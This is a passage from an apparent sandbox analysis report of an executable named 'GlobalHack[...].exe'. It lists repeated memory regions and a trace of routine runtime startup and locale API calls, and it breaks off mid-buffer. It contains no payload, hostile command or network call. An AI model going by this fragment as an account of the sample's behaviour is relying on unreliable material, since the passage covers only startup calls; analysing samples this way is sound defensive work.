filename = "" Region: id = 486 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 487 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 488 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 489 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 490 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 491 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 492 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 493 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 494 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 495 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 496 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 497 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 498 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 499 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 500 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 501 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 502 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 503 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 504 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 505 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 506 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 507 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 508 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 509 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 510 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 511 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 512 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 513 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 514 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 515 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 516 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 517 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 518 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 519 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 520 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 521 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 522 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 523 start_va = 0x2bb0000 end_va = 0x2d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 524 start_va = 0x74630000 end_va = 0x746a4fff entry_point = 0x74630000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 525 start_va = 0x2bb0000 end_va = 0x2c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 526 start_va = 0x2d50000 end_va = 0x2d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 527 start_va = 0x2a00000 end_va = 0x2a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 528 start_va = 0x2a40000 end_va = 0x2a40fff entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 529 start_va = 0x2d60000 end_va = 0x2e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d60000" filename = "" Region: id = 530 start_va = 0x2e60000 end_va = 0x3351fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002e60000" filename = "" Region: id = 531 start_va = 0x7fea1000 end_va = 0x7fea3fff entry_point = 0x0 region_type = private name = "private_0x000000007fea1000" filename = "" Region: id = 532 start_va = 0x3360000 end_va = 0x3853fff entry_point = 0x0 region_type = private name = "private_0x0000000003360000" filename = "" Region: id = 533 start_va = 0x73360000 end_va = 0x734d0fff entry_point = 0x73360000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 534 start_va = 0x3860000 end_va = 0x395ffff entry_point = 0x0 region_type = private name = "private_0x0000000003860000" filename = "" Thread: id = 1 os_tid = 0xe14 [0042.617] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GlobalHack[RUEUNAVN][17.02.2019] .exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0042.618] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0042.619] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0042.619] GetProcAddress (hModule=0x74f40000, lpProcName="FlsAlloc") returned 0x74f5a330 [0042.620] GetProcAddress (hModule=0x74f40000, lpProcName="FlsGetValue") returned 0x74f57580 [0042.620] GetProcAddress (hModule=0x74f40000, lpProcName="FlsSetValue") returned 0x74f59910 [0042.620] GetProcAddress (hModule=0x74f40000, lpProcName="FlsFree") returned 0x74f5f400 [0042.621] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0042.621] GetCurrentThreadId () returned 0xe14 [0042.621] GetStartupInfoW (in: lpStartupInfo=0x19feb4 | out: lpStartupInfo=0x19feb4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GlobalHack[RUEUNAVN][17.02.2019] .exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0042.621] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.621] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.621] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.621] SetHandleCount (uNumber=0x20) returned 0x20 [0042.621] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GlobalHack[RUEUNAVN][17.02.2019] .exe\" " [0042.621] GetEnvironmentStringsW () returned 0x57bf00* [0042.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1331, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1331 [0042.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1331, lpMultiByteStr=0x1e80fd0, cbMultiByte=1331, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1331 [0042.622] FreeEnvironmentStringsW (penv=0x57bf00) returned 1 [0042.622] GetLastError () returned 0xcb [0042.622] SetLastError (dwErrCode=0xcb) [0042.622] GetLastError () returned 0xcb [0042.622] SetLastError (dwErrCode=0xcb) [0042.622] GetLastError () returned 0xcb [0042.622] SetLastError (dwErrCode=0xcb) [0042.622] GetACP () returned 0x4e4 [0042.622] GetLastError () returned 0xcb [0042.622] SetLastError (dwErrCode=0xcb) [0042.622] IsValidCodePage (CodePage=0x4e4) returned 1 [0042.622] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0042.622] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0042.622] GetLastError () returned 0xcb [0042.622] SetLastError (dwErrCode=0xcb) [0042.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ灜FĀ") returned 256 [0042.622] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ灜FĀ", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0042.622] GetLastError () returned 0xcb [0042.622] SetLastError (dwErrCode=0xcb) [0042.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.623] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0042.623] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0042.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x92\x56\x64\xcc\x94\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0042.623] GetLastError () returned 0xcb [0042.623] SetLastError (dwErrCode=0xcb) [0042.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.623] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0042.623] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0042.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\